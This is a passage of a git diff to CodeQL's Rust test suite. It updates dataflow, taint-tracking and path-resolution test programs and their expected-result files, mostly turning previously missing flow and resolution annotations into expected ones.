+    fn set_number(n: &mut MyNumber, number: i64) {
+        *n = MyNumber::MyNumber(number);
+    }
+
+    pub fn mutate_enum_through_function() {
+        let mut my_number = MyNumber::MyNumber(0);
+        set_number(&mut my_number, source(64));
+        sink(my_number.get()); // $ hasValueFlow=64
+        set_number(&mut my_number, 0);
+        sink(my_number.get()); // $ SPURIOUS: hasValueFlow=64
+    }
+
+    pub fn mutate_enum_through_method_implicit_borrow() {
+        let mut my_number = MyNumber::MyNumber(0);
+        // Implicit borrow.
+        my_number.set(source(45));
+        sink(to_number(my_number)); // $ hasValueFlow=45
+        my_number.set(0);
+        sink(to_number(my_number)); // $ SPURIOUS: hasValueFlow=45
+    }
+
+    pub fn mutate_enum_through_method_explicit_borrow() {
+        let mut my_number = MyNumber::MyNumber(0);
+        // Explicit borrow.
+        (&mut my_number).set(source(99));
+        sink(to_number(my_number)); // $ hasValueFlow=99
+        (&mut my_number).set(0);
+        sink(to_number(my_number)); // $ SPURIOUS: hasValueFlow=99
+    }
 }
 
-use test_ref_pattern::*;
+use interprocedural_immutable_borrows::*;
+use interprocedural_mutable_borrows::*;
+use intraprocedural_immutable_borrows::*;
+use intraprocedural_mutable_borrows::*;
 
 fn main() {
     read_through_borrow();
     write_through_borrow();
+    write_borrow_directly();
+    clear_through_borrow();
+    write_through_borrow_in_match(true);
     write_and_read_through_borrow();
     pass_borrowed_value();
     through_self_in_method_no_borrow();
-    through_self_in_method_implicit_borrow();
     through_self_in_method_explicit_borrow();
+    through_self_in_method_implicit_borrow();
+    through_self_in_method_implicit_deref();
+    mutates_existing_borrow();
+    mutate_primitive_through_function();
+    mutate_enum_through_function();
+    mutate_enum_through_method_implicit_borrow();
+    mutate_enum_through_method_explicit_borrow();
     ref_nested_pattern_match();
-    read_through_ref();
+    read_through_ref_pattern();
     write_through_ref_mut();
     ref_pattern_in_match();
+    mutate_tuple();
+    tuple_match_mut();
 }
diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected
index 603ba0d76058..8448ee783720 100644
--- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected
+++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected
@@ -1,18 +1,18 @@
-| test.rs:8:10:8:22 | ...::var | Flow source 'EnvironmentSource' of type environment. |
-| test.rs:9:10:9:25 | ...::var_os | Flow source 'EnvironmentSource' of type environment. |
-| test.rs:11:16:11:28 | ...::var | Flow source 'EnvironmentSource' of type environment. |
-| test.rs:12:16:12:31 | ...::var_os | Flow source 'EnvironmentSource' of type environment. |
-| test.rs:17:25:17:38 | ...::vars | Flow source 'EnvironmentSource' of type environment. |
-| test.rs:22:25:22:41 | ...::vars_os | Flow source 'EnvironmentSource' of type environment. |
-| test.rs:29:29:29:42 | ...::args | Flow source 'CommandLineArgs' of type commandargs. |
-| test.rs:32:16:32:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs. |
-| test.rs:33:16:33:32 | ...::args_os | Flow source 'CommandLineArgs' of type commandargs. |
-| test.rs:34:16:34:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs. |
-| test.rs:42:16:42:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs. |
-| test.rs:46:16:46:32 | ...::args_os | Flow source 'CommandLineArgs' of type commandargs. |
-| test.rs:52:15:52:35 | ...::current_dir | Flow source 'CommandLineArgs' of type commandargs. |
-| test.rs:53:15:53:35 | ...::current_exe | Flow source 'CommandLineArgs' of type commandargs. |
-| test.rs:54:16:54:33 | ...::home_dir | Flow source 'CommandLineArgs' of type commandargs. |
+| test.rs:8:10:8:22 | ...::var | Flow source 'EnvironmentSource' of type environment (DEFAULT). |
+| test.rs:9:10:9:25 | ...::var_os | Flow source 'EnvironmentSource' of type environment (DEFAULT). |
+| test.rs:11:16:11:28 | ...::var | Flow source 'EnvironmentSource' of type environment (DEFAULT). |
+| test.rs:12:16:12:31 | ...::var_os | Flow source 'EnvironmentSource' of type environment (DEFAULT). |
+| test.rs:17:25:17:38 | ...::vars | Flow source 'EnvironmentSource' of type environment (DEFAULT). |
+| test.rs:22:25:22:41 | ...::vars_os | Flow source 'EnvironmentSource' of type environment (DEFAULT). |
+| test.rs:29:29:29:42 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). |
+| test.rs:32:16:32:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). |
+| test.rs:33:16:33:32 | ...::args_os | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). |
+| test.rs:34:16:34:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). |
+| test.rs:42:16:42:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). |
+| test.rs:46:16:46:32 | ...::args_os | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). |
+| test.rs:52:15:52:35 | ...::current_dir | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). |
+| test.rs:53:15:53:35 | ...::current_exe | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). |
+| test.rs:54:16:54:33 | ...::home_dir | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). |
 | test.rs:62:26:62:47 | ...::get | Flow source 'RemoteSource' of type remote (DEFAULT). |
 | test.rs:65:26:65:47 | ...::get | Flow source 'RemoteSource' of type remote (DEFAULT). |
 | test.rs:68:26:68:47 | ...::get | Flow source 'RemoteSource' of type remote (DEFAULT). |
@@ -22,4 +22,4 @@
 | test.rs:80:24:80:35 | ...::get | Flow source 'RemoteSource' of type remote (DEFAULT). |
 | test.rs:112:35:112:46 | send_request | Flow source 'RemoteSource' of type remote (DEFAULT). |
 | test.rs:119:31:119:42 | send_request | Flow source 'RemoteSource' of type remote (DEFAULT). |
-| test.rs:203:16:203:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs. |
+| test.rs:203:16:203:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). |
diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs
index 53a5edfd8ad4..e4c6b2736d74 100644
--- a/rust/ql/test/library-tests/dataflow/sources/test.rs
+++ b/rust/ql/test/library-tests/dataflow/sources/test.rs
@@ -117,7 +117,7 @@ async fn test_hyper_http(case: i64) -> Result<(), Box<dyn std::error::Error>> {
     // more realistic uses of results...
     let request = http::Request::builder().uri(url).body(String::from(""))?;
     let mut response = sender.send_request(request).await?; // $ Alert[rust/summary/taint-sources]
-    sink(&response); // $ MISSING: hasTaintFlow=request
+    sink(&response); // $ hasTaintFlow=request
 
     if !response.status().is_success() {
         return Err("request failed".into())
diff --git a/rust/ql/test/library-tests/dataflow/strings/inline-taint-flow.expected b/rust/ql/test/library-tests/dataflow/strings/inline-taint-flow.expected
index ee15de985dcd..fc23e6254d56 100644
--- a/rust/ql/test/library-tests/dataflow/strings/inline-taint-flow.expected
+++ b/rust/ql/test/library-tests/dataflow/strings/inline-taint-flow.expected
@@ -1,8 +1,9 @@
 models
-| 1 | Summary: lang:alloc; <crate::string::String as crate::convert::From>::from; Argument[0]; ReturnValue; value |
-| 2 | Summary: lang:alloc; <crate::string::String>::as_str; Argument[self]; ReturnValue; taint |
-| 3 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint |
-| 4 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value |
+| 1 | Summary: lang:alloc; <_ as crate::string::ToString>::to_string; Argument[self]; ReturnValue; taint |
+| 2 | Summary: lang:alloc; <crate::string::String as crate::convert::From>::from; Argument[0]; ReturnValue; value |
+| 3 | Summary: lang:alloc; <crate::string::String>::as_str; Argument[self]; ReturnValue; taint |
+| 4 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint |
+| 5 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value |
 edges
 | main.rs:26:9:26:9 | s | main.rs:27:19:27:25 | s[...] | provenance |  |
 | main.rs:26:13:26:22 | source(...) | main.rs:26:9:26:9 | s | provenance |  |
@@ -12,41 +13,44 @@ edges
 | main.rs:32:9:32:10 | s1 | main.rs:35:9:35:10 | s4 | provenance |  |
 | main.rs:32:14:32:23 | source(...) | main.rs:32:9:32:10 | s1 | provenance |  |
 | main.rs:35:9:35:10 | s4 | main.rs:38:10:38:11 | s4 | provenance |  |
-| main.rs:51:9:51:10 | s1 | main.rs:52:27:52:28 | s1 | provenance |  |
-| main.rs:51:14:51:29 | source_slice(...) | main.rs:51:9:51:10 | s1 | provenance |  |
-| main.rs:52:9:52:10 | s2 | main.rs:53:10:53:11 | s2 | provenance |  |
-| main.rs:52:14:52:29 | ...::from(...) | main.rs:52:9:52:10 | s2 | provenance |  |
-| main.rs:52:27:52:28 | s1 | main.rs:52:14:52:29 | ...::from(...) | provenance | MaD:1 |
-| main.rs:63:9:63:9 | s | main.rs:64:16:64:16 | s | provenance |  |
+| main.rs:51:6:51:7 | s1 | main.rs:52:24:52:25 | s1 | provenance |  |
+| main.rs:51:11:51:26 | source_slice(...) | main.rs:51:6:51:7 | s1 | provenance |  |
+| main.rs:52:6:52:7 | s2 | main.rs:53:7:53:8 | s2 | provenance |  |
+| main.rs:52:11:52:26 | ...::from(...) | main.rs:52:6:52:7 | s2 | provenance |  |
+| main.rs:52:24:52:25 | s1 | main.rs:52:11:52:26 | ...::from(...) | provenance | MaD:2 |
+| main.rs:57:6:57:7 | s1 | main.rs:58:11:58:24 | s1.to_string(...) | provenance | MaD:1 |
+| main.rs:57:11:57:26 | source_slice(...) | main.rs:57:6:57:7 | s1 | provenance |  |
+| main.rs:58:6:58:7 | s2 | main.rs:59:7:59:8 | s2 | provenance |  |
+| main.rs:58:11:58:24 | s1.to_string(...) | main.rs:58:6:58:7 | s2 | provenance |  |
+| main.rs:63:9:63:9 | s | main.rs:64:16:64:25 | s.as_str(...) | provenance | MaD:3 |
 | main.rs:63:13:63:22 | source(...) | main.rs:63:9:63:9 | s | provenance |  |
-| main.rs:64:16:64:16 | s | main.rs:64:16:64:25 | s.as_str(...) | provenance | MaD:2 |
 | main.rs:68:9:68:9 | s | main.rs:70:34:70:61 | MacroExpr | provenance |  |
 | main.rs:68:9:68:9 | s | main.rs:73:34:73:59 | MacroExpr | provenance |  |
 | main.rs:68:13:68:22 | source(...) | main.rs:68:9:68:9 | s | provenance |  |
 | main.rs:70:9:70:18 | formatted1 | main.rs:71:10:71:19 | formatted1 | provenance |  |
 | main.rs:70:22:70:62 | ...::format(...) | main.rs:70:9:70:18 | formatted1 | provenance |  |
-| main.rs:70:34:70:61 | MacroExpr | main.rs:70:22:70:62 | ...::format(...) | provenance | MaD:3 |
+| main.rs:70:34:70:61 | MacroExpr | main.rs:70:22:70:62 | ...::format(...) | provenance | MaD:4 |
 | main.rs:73:9:73:18 | formatted2 | main.rs:74:10:74:19 | formatted2 | provenance |  |
 | main.rs:73:22:73:60 | ...::format(...) | main.rs:73:9:73:18 | formatted2 | provenance |  |
-| main.rs:73:34:73:59 | MacroExpr | main.rs:73:22:73:60 | ...::format(...) | provenance | MaD:3 |
+| main.rs:73:34:73:59 | MacroExpr | main.rs:73:22:73:60 | ...::format(...) | provenance | MaD:4 |
 | main.rs:76:9:76:13 | width | main.rs:77:34:77:74 | MacroExpr | provenance |  |
 | main.rs:76:17:76:32 | source_usize(...) | main.rs:76:9:76:13 | width | provenance |  |
 | main.rs:77:9:77:18 | formatted3 | main.rs:78:10:78:19 | formatted3 | provenance |  |
 | main.rs:77:22:77:75 | ...::format(...) | main.rs:77:9:77:18 | formatted3 | provenance |  |
-| main.rs:77:34:77:74 | MacroExpr | main.rs:77:22:77:75 | ...::format(...) | provenance | MaD:3 |
+| main.rs:77:34:77:74 | MacroExpr | main.rs:77:22:77:75 | ...::format(...) | provenance | MaD:4 |
 | main.rs:82:9:82:10 | s1 | main.rs:86:18:86:25 | MacroExpr | provenance |  |
 | main.rs:82:9:82:10 | s1 | main.rs:87:18:87:32 | MacroExpr | provenance |  |
 | main.rs:82:14:82:23 | source(...) | main.rs:82:9:82:10 | s1 | provenance |  |
 | main.rs:86:10:86:26 | res | main.rs:86:18:86:25 | { ... } | provenance |  |
 | main.rs:86:18:86:25 | ...::format(...) | main.rs:86:10:86:26 | res | provenance |  |
 | main.rs:86:18:86:25 | ...::must_use(...) | main.rs:86:10:86:26 | MacroExpr | provenance |  |
-| main.rs:86:18:86:25 | MacroExpr | main.rs:86:18:86:25 | ...::format(...) | provenance | MaD:3 |
-| main.rs:86:18:86:25 | { ... } | main.rs:86:18:86:25 | ...::must_use(...) | provenance | MaD:4 |
+| main.rs:86:18:86:25 | MacroExpr | main.rs:86:18:86:25 | ...::format(...) | provenance | MaD:4 |
+| main.rs:86:18:86:25 | { ... } | main.rs:86:18:86:25 | ...::must_use(...) | provenance | MaD:5 |
 | main.rs:87:10:87:33 | res | main.rs:87:18:87:32 | { ... } | provenance |  |
 | main.rs:87:18:87:32 | ...::format(...) | main.rs:87:10:87:33 | res | provenance |  |
 | main.rs:87:18:87:32 | ...::must_use(...) | main.rs:87:10:87:33 | MacroExpr | provenance |  |
-| main.rs:87:18:87:32 | MacroExpr | main.rs:87:18:87:32 | ...::format(...) | provenance | MaD:3 |
-| main.rs:87:18:87:32 | { ... } | main.rs:87:18:87:32 | ...::must_use(...) | provenance | MaD:4 |
+| main.rs:87:18:87:32 | MacroExpr | main.rs:87:18:87:32 | ...::format(...) | provenance | MaD:4 |
+| main.rs:87:18:87:32 | { ... } | main.rs:87:18:87:32 | ...::must_use(...) | provenance | MaD:5 |
 nodes
 | main.rs:26:9:26:9 | s | semmle.label | s |
 | main.rs:26:13:26:22 | source(...) | semmle.label | source(...) |
@@ -58,15 +62,19 @@ nodes
 | main.rs:32:14:32:23 | source(...) | semmle.label | source(...) |
 | main.rs:35:9:35:10 | s4 | semmle.label | s4 |
 | main.rs:38:10:38:11 | s4 | semmle.label | s4 |
-| main.rs:51:9:51:10 | s1 | semmle.label | s1 |
-| main.rs:51:14:51:29 | source_slice(...) | semmle.label | source_slice(...) |
-| main.rs:52:9:52:10 | s2 | semmle.label | s2 |
-| main.rs:52:14:52:29 | ...::from(...) | semmle.label | ...::from(...) |
-| main.rs:52:27:52:28 | s1 | semmle.label | s1 |
-| main.rs:53:10:53:11 | s2 | semmle.label | s2 |
+| main.rs:51:6:51:7 | s1 | semmle.label | s1 |
+| main.rs:51:11:51:26 | source_slice(...) | semmle.label | source_slice(...) |
+| main.rs:52:6:52:7 | s2 | semmle.label | s2 |
+| main.rs:52:11:52:26 | ...::from(...) | semmle.label | ...::from(...) |
+| main.rs:52:24:52:25 | s1 | semmle.label | s1 |
+| main.rs:53:7:53:8 | s2 | semmle.label | s2 |
+| main.rs:57:6:57:7 | s1 | semmle.label | s1 |
+| main.rs:57:11:57:26 | source_slice(...) | semmle.label | source_slice(...) |
+| main.rs:58:6:58:7 | s2 | semmle.label | s2 |
+| main.rs:58:11:58:24 | s1.to_string(...) | semmle.label | s1.to_string(...) |
+| main.rs:59:7:59:8 | s2 | semmle.label | s2 |
 | main.rs:63:9:63:9 | s | semmle.label | s |
 | main.rs:63:13:63:22 | source(...) | semmle.label | source(...) |
-| main.rs:64:16:64:16 | s | semmle.label | s |
 | main.rs:64:16:64:25 | s.as_str(...) | semmle.label | s.as_str(...) |
 | main.rs:68:9:68:9 | s | semmle.label | s |
 | main.rs:68:13:68:22 | source(...) | semmle.label | source(...) |
@@ -103,7 +111,8 @@ testFailures
 #select
 | main.rs:28:16:28:21 | sliced | main.rs:26:13:26:22 | source(...) | main.rs:28:16:28:21 | sliced | $@ | main.rs:26:13:26:22 | source(...) | source(...) |
 | main.rs:38:10:38:11 | s4 | main.rs:32:14:32:23 | source(...) | main.rs:38:10:38:11 | s4 | $@ | main.rs:32:14:32:23 | source(...) | source(...) |
-| main.rs:53:10:53:11 | s2 | main.rs:51:14:51:29 | source_slice(...) | main.rs:53:10:53:11 | s2 | $@ | main.rs:51:14:51:29 | source_slice(...) | source_slice(...) |
+| main.rs:53:7:53:8 | s2 | main.rs:51:11:51:26 | source_slice(...) | main.rs:53:7:53:8 | s2 | $@ | main.rs:51:11:51:26 | source_slice(...) | source_slice(...) |
+| main.rs:59:7:59:8 | s2 | main.rs:57:11:57:26 | source_slice(...) | main.rs:59:7:59:8 | s2 | $@ | main.rs:57:11:57:26 | source_slice(...) | source_slice(...) |
 | main.rs:64:16:64:25 | s.as_str(...) | main.rs:63:13:63:22 | source(...) | main.rs:64:16:64:25 | s.as_str(...) | $@ | main.rs:63:13:63:22 | source(...) | source(...) |
 | main.rs:71:10:71:19 | formatted1 | main.rs:68:13:68:22 | source(...) | main.rs:71:10:71:19 | formatted1 | $@ | main.rs:68:13:68:22 | source(...) | source(...) |
 | main.rs:74:10:74:19 | formatted2 | main.rs:68:13:68:22 | source(...) | main.rs:74:10:74:19 | formatted2 | $@ | main.rs:68:13:68:22 | source(...) | source(...) |
diff --git a/rust/ql/test/library-tests/dataflow/strings/main.rs b/rust/ql/test/library-tests/dataflow/strings/main.rs
index e34b0cdab4c1..01041e3df463 100644
--- a/rust/ql/test/library-tests/dataflow/strings/main.rs
+++ b/rust/ql/test/library-tests/dataflow/strings/main.rs
@@ -48,15 +48,15 @@ fn string_add_reference() {
 }
 
 fn string_from() {
-    let s1 = source_slice(36);
-    let s2 = String::from(s1);
-    sink(s2); // $ hasValueFlow=36
+	let s1 = source_slice(36);
+	let s2 = String::from(s1);
+	sink(s2); // $ hasValueFlow=36
 }
 
 fn string_to_string() {
-    let s1 = source_slice(22);
-    let s2 = s1.to_string();
-    sink(s2); // $ MISSING: hasTaintFlow=22
+	let s1 = source_slice(22);
+	let s2 = s1.to_string();
+	sink(s2); // $ hasTaintFlow=22
 }
 
 fn as_str() {
diff --git a/rust/ql/test/library-tests/dataflow/taint/TaintFlowStep.expected b/rust/ql/test/library-tests/dataflow/taint/TaintFlowStep.expected
index 89e3a15ab487..fa32f2201b24 100644
--- a/rust/ql/test/library-tests/dataflow/taint/TaintFlowStep.expected
+++ b/rust/ql/test/library-tests/dataflow/taint/TaintFlowStep.expected
@@ -6,6 +6,7 @@
 | main.rs:18:11:18:11 | a | main.rs:18:10:18:11 | - ... |
 | main.rs:23:13:23:13 | a | main.rs:23:13:23:19 | a as u8 |
 | main.rs:24:10:24:10 | b | main.rs:24:10:24:17 | b as i64 |
+| main.rs:24:10:24:17 | [post] b as i64 | main.rs:24:10:24:10 | [post] b |
 | main.rs:29:23:29:23 | i | main.rs:29:17:29:23 | FormatArgsExpr |
 | main.rs:33:24:33:24 | s | main.rs:33:18:33:24 | FormatArgsExpr |
 | main.rs:38:23:38:23 | s | main.rs:38:23:38:29 | s[...] |
diff --git a/rust/ql/test/library-tests/dataflow/taint/TaintFlowStep.ql b/rust/ql/test/library-tests/dataflow/taint/TaintFlowStep.ql
index f049d77fe071..62a77b5b66b4 100644
--- a/rust/ql/test/library-tests/dataflow/taint/TaintFlowStep.ql
+++ b/rust/ql/test/library-tests/dataflow/taint/TaintFlowStep.ql
@@ -1,5 +1,5 @@
 import codeql.rust.dataflow.DataFlow
-import codeql.rust.dataflow.internal.DataFlowImpl
+import codeql.rust.dataflow.internal.Node as Node
 import codeql.rust.dataflow.internal.TaintTrackingImpl
 import utils.test.TranslateModels
 
diff --git a/rust/ql/test/library-tests/path-resolution/CONSISTENCY/AstConsistency.expected b/rust/ql/test/library-tests/path-resolution/CONSISTENCY/AstConsistency.expected
deleted file mode 100644
index 9d4e175192b4..000000000000
--- a/rust/ql/test/library-tests/path-resolution/CONSISTENCY/AstConsistency.expected
+++ /dev/null
@@ -1,3 +0,0 @@
-multiplePathResolutions
-| main.rs:118:9:118:9 | f | main.rs:104:5:106:5 | fn f |
-| main.rs:118:9:118:9 | f | main.rs:110:5:112:5 | fn f |
diff --git a/rust/ql/test/library-tests/path-resolution/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/path-resolution/CONSISTENCY/PathResolutionConsistency.expected
new file mode 100644
index 000000000000..fa8dd32840be
--- /dev/null
+++ b/rust/ql/test/library-tests/path-resolution/CONSISTENCY/PathResolutionConsistency.expected
@@ -0,0 +1,6 @@
+multiplePathResolutions
+| main.rs:118:9:118:9 | f | main.rs:104:5:106:5 | fn f |
+| main.rs:118:9:118:9 | f | main.rs:110:5:112:5 | fn f |
+multipleStaticCallTargets
+| main.rs:118:9:118:11 | f(...) | main.rs:104:5:106:5 | fn f |
+| main.rs:118:9:118:11 | f(...) | main.rs:110:5:112:5 | fn f |
diff --git a/rust/ql/test/library-tests/path-resolution/main.rs b/rust/ql/test/library-tests/path-resolution/main.rs
index cb955da3eefb..7857ddc6cf5f 100644
--- a/rust/ql/test/library-tests/path-resolution/main.rs
+++ b/rust/ql/test/library-tests/path-resolution/main.rs
@@ -184,11 +184,11 @@ mod m8 {
         > // $ MISSING: item=52
         ::f(&x); // $ MISSING: item=I53
         let x = MyStruct {}; // $ item=I50
-        x.f(); // $ MISSING: item=I53
+        x.f(); // $ item=I53
         let x = MyStruct {}; // $ item=I50
-        x.g(); // $ MISSING: item=I54
+        x.g(); // $ item=I54
         MyStruct::h(&x); // $ item=I74
-        x.h(); // $ MISSING: item=I74
+        x.h(); // $ item=I74
     } // I55
 } // I46
 
@@ -304,7 +304,7 @@ mod m15 {
         fn f(&self) {
             println!("m15::Trait2::f");
             Self::g(self); // $ item=I80
-            self.g(); // $ MISSING: item=I80
+            self.g(); // $ item=I80
         }
     } // I82
 
@@ -316,7 +316,7 @@ mod m15 {
         fn f(&self) {
             println!("m15::<S as Trait1>::f");
             Self::g(self); // $ item=I77
-            self.g(); // $ MISSING: item=I77
+            self.g(); // $ item=I77
         } // I76
 
         fn g(&self) {
@@ -343,7 +343,7 @@ mod m15 {
           as Trait2 // $ item=I82
         >::f(&x); // $ MISSING: item=I78
         S::g(&x); // $ item=I77
-        x.g(); // $ MISSING: item=I77
+        x.g(); // $ item=I77
     } // I75
 }
 
@@ -359,7 +359,7 @@ mod m16 {
 
         fn h(&self) -> T { // $ item=I84
             Self::g(&self); // $ item=I85
-            self.g() // $ MISSING: item=I85
+            self.g() // $ item=I85
         } // I96
 
         const c: T // $ item=I84
@@ -376,7 +376,7 @@ mod m16 {
         fn f(&self) -> T { // $ item=I87
             println!("m16::Trait2::f");
             Self::g(self); // $ item=I85
-            self.g(); // $ MISSING: item=I85
+            self.g(); // $ item=I85
             Self::c // $ item=I94
         }
     } // I89
@@ -391,7 +391,7 @@ mod m16 {
         fn f(&self) -> S { // $ item=I90
             println!("m16::<S as Trait1<S>>::f");
             Self::g(self); // $ item=I92
-            self.g() // $ MISSING: item=I92
+            self.g() // $ item=I92
         } // I91
 
         fn g(&self) -> S { // $ item=I90
@@ -429,9 +429,9 @@ mod m16 {
           > // $ item=I89
         >::f(&x); // $ MISSING: item=I93
         S::g(&x); // $ item=I92
-        x.g(); // $ MISSING: item=I92
+        x.g(); // $ item=I92
         S::h(&x); // $ item=I96
-        x.h(); // $ MISSING: item=I96
+        x.h(); // $ item=I96
         S::c; // $ item=I95
         <S // $ item=I90
           as Trait1<
@@ -460,7 +460,7 @@ mod m17 {
     fn g<T: // I5
       MyTrait // $ item=I2
     >(x: T) { // $ item=I5
-        x.f(); // $ MISSING: item=I1
+        x.f(); // $ item=I1
         T::f(&x); // $ item=I1
         MyTrait::f(&x); // $ item=I1
     } // I6
@@ -495,4 +495,7 @@ fn main() {
     m15::f(); // $ item=I75
     m16::f(); // $ item=I83
     m17::f(); // $ item=I99
+    nested6::f(); // $ item=I116
+    nested8::f(); // $ item=I119
+    my3::f(); // $ item=I200
 }
diff --git a/rust/ql/test/library-tests/path-resolution/my2/mod.rs b/rust/ql/test/library-tests/path-resolution/my2/mod.rs
index fcd82bf02c88..64291a53af53 100644
--- a/rust/ql/test/library-tests/path-resolution/my2/mod.rs
+++ b/rust/ql/test/library-tests/path-resolution/my2/mod.rs
@@ -1,6 +1,12 @@
 pub mod nested2; // I8
 
 fn g() {
-    println!("mod.rs::g");
+    println!("my2/mod.rs::g");
     nested2::nested3::nested4::f(); // $ item=I12
 } // I9
+
+pub use nested2::nested5::*; // $ item=I114
+
+pub use nested2::nested7::nested8::{self}; // $ item=I118
+
+pub mod my3;
diff --git a/rust/ql/test/library-tests/path-resolution/my2/my3/mod.rs b/rust/ql/test/library-tests/path-resolution/my2/my3/mod.rs
new file mode 100644
index 000000000000..6b54377728bb
--- /dev/null
+++ b/rust/ql/test/library-tests/path-resolution/my2/my3/mod.rs
@@ -0,0 +1,8 @@
+pub fn f() {
+    println!("my2/my3/mod.rs::f");
+    g(); // $ item=I9
+    h(); // $ item=I25
+} // I200
+
+use super::super::h; // $ item=I25
+use super::g; // $ item=I9
diff --git a/rust/ql/test/library-tests/path-resolution/my2/nested2.rs b/rust/ql/test/library-tests/path-resolution/my2/nested2.rs
index dec8b8a2377e..47fed6d42998 100644
--- a/rust/ql/test/library-tests/path-resolution/my2/nested2.rs
+++ b/rust/ql/test/library-tests/path-resolution/my2/nested2.rs
@@ -9,3 +9,19 @@ pub mod nested3 {
         } // I13
     } // I11
 } // I10
+
+pub mod nested5 {
+    pub mod nested6 {
+        pub fn f() {
+            println!("nested2.rs::nested5::nested6::f");
+        } // I116
+    } // I115
+} // I114
+
+pub mod nested7 {
+    pub mod nested8 {
+        pub fn f() {
+            println!("nested2.rs::nested7::nested8::f");
+        } // I119
+    } // I118
+} // I117
diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.expected b/rust/ql/test/library-tests/path-resolution/path-resolution.expected
index d90732257ca5..51dcc55b9e2d 100644
--- a/rust/ql/test/library-tests/path-resolution/path-resolution.expected
+++ b/rust/ql/test/library-tests/path-resolution/path-resolution.expected
@@ -22,8 +22,13 @@ mod
 | main.rs:350:1:442:1 | mod m16 |
 | main.rs:444:1:474:1 | mod m17 |
 | my2/mod.rs:1:1:1:16 | mod nested2 |
+| my2/mod.rs:12:1:12:12 | mod my3 |
 | my2/nested2.rs:1:1:11:1 | mod nested3 |
 | my2/nested2.rs:2:5:10:5 | mod nested4 |
+| my2/nested2.rs:13:1:19:1 | mod nested5 |
+| my2/nested2.rs:14:5:18:5 | mod nested6 |
+| my2/nested2.rs:21:1:27:1 | mod nested7 |
+| my2/nested2.rs:22:5:26:5 | mod nested8 |
 | my.rs:1:1:1:15 | mod nested |
 | my/nested.rs:1:1:17:1 | mod nested1 |
 | my/nested.rs:2:5:11:5 | mod nested2 |
@@ -46,7 +51,7 @@ resolvePath
 | main.rs:30:17:30:21 | super | main.rs:18:5:36:5 | mod m2 |
 | main.rs:30:17:30:24 | ...::f | main.rs:19:9:21:9 | fn f |
 | main.rs:33:17:33:17 | f | main.rs:19:9:21:9 | fn f |
-| main.rs:40:9:40:13 | super | main.rs:1:1:498:2 | SourceFile |
+| main.rs:40:9:40:13 | super | main.rs:1:1:501:2 | SourceFile |
 | main.rs:40:9:40:17 | ...::m1 | main.rs:13:1:37:1 | mod m1 |
 | main.rs:40:9:40:21 | ...::m2 | main.rs:18:5:36:5 | mod m2 |
 | main.rs:40:9:40:24 | ...::g | main.rs:23:9:27:9 | fn g |
@@ -58,7 +63,7 @@ resolvePath
 | main.rs:61:17:61:19 | Foo | main.rs:59:9:59:21 | struct Foo |
 | main.rs:64:13:64:15 | Foo | main.rs:53:5:53:17 | struct Foo |
 | main.rs:66:5:66:5 | f | main.rs:55:5:62:5 | fn f |
-| main.rs:68:5:68:8 | self | main.rs:1:1:498:2 | SourceFile |
+| main.rs:68:5:68:8 | self | main.rs:1:1:501:2 | SourceFile |
 | main.rs:68:5:68:11 | ...::i | main.rs:71:1:83:1 | fn i |
 | main.rs:74:13:74:15 | Foo | main.rs:48:1:48:13 | struct Foo |
 | main.rs:81:17:81:19 | Foo | main.rs:77:9:79:9 | struct Foo |
@@ -72,7 +77,7 @@ resolvePath
 | main.rs:87:57:87:66 | ...::g | my2/nested2.rs:7:9:9:9 | fn g |
 | main.rs:87:80:87:86 | nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 |
 | main.rs:100:5:100:22 | f_defined_in_macro | main.rs:99:18:99:42 | fn f_defined_in_macro |
-| main.rs:117:13:117:17 | super | main.rs:1:1:498:2 | SourceFile |
+| main.rs:117:13:117:17 | super | main.rs:1:1:501:2 | SourceFile |
 | main.rs:117:13:117:21 | ...::m5 | main.rs:103:1:107:1 | mod m5 |
 | main.rs:118:9:118:9 | f | main.rs:104:5:106:5 | fn f |
 | main.rs:118:9:118:9 | f | main.rs:110:5:112:5 | fn f |
@@ -126,8 +131,8 @@ resolvePath
 | main.rs:261:17:261:17 | C | main.rs:254:9:254:9 | C |
 | main.rs:274:16:274:16 | T | main.rs:268:7:268:7 | T |
 | main.rs:275:14:275:17 | Self | main.rs:266:5:276:5 | trait MyParamTrait |
-| main.rs:275:14:275:33 | ...::AssociatedType | main.rs:270:9:270:28 | TypeAlias |
-| main.rs:284:13:284:17 | crate | main.rs:1:1:498:2 | SourceFile |
+| main.rs:275:14:275:33 | ...::AssociatedType | main.rs:270:9:270:28 | type AssociatedType |
+| main.rs:284:13:284:17 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) |
 | main.rs:284:13:284:22 | ...::m13 | main.rs:279:1:292:1 | mod m13 |
 | main.rs:284:13:284:25 | ...::f | main.rs:280:5:280:17 | fn f |
 | main.rs:284:13:284:25 | ...::f | main.rs:280:19:281:19 | struct f |
@@ -218,7 +223,7 @@ resolvePath
 | main.rs:479:5:479:32 | ...::f | my2/nested2.rs:3:9:5:9 | fn f |
 | main.rs:480:5:480:5 | f | my2/nested2.rs:3:9:5:9 | fn f |
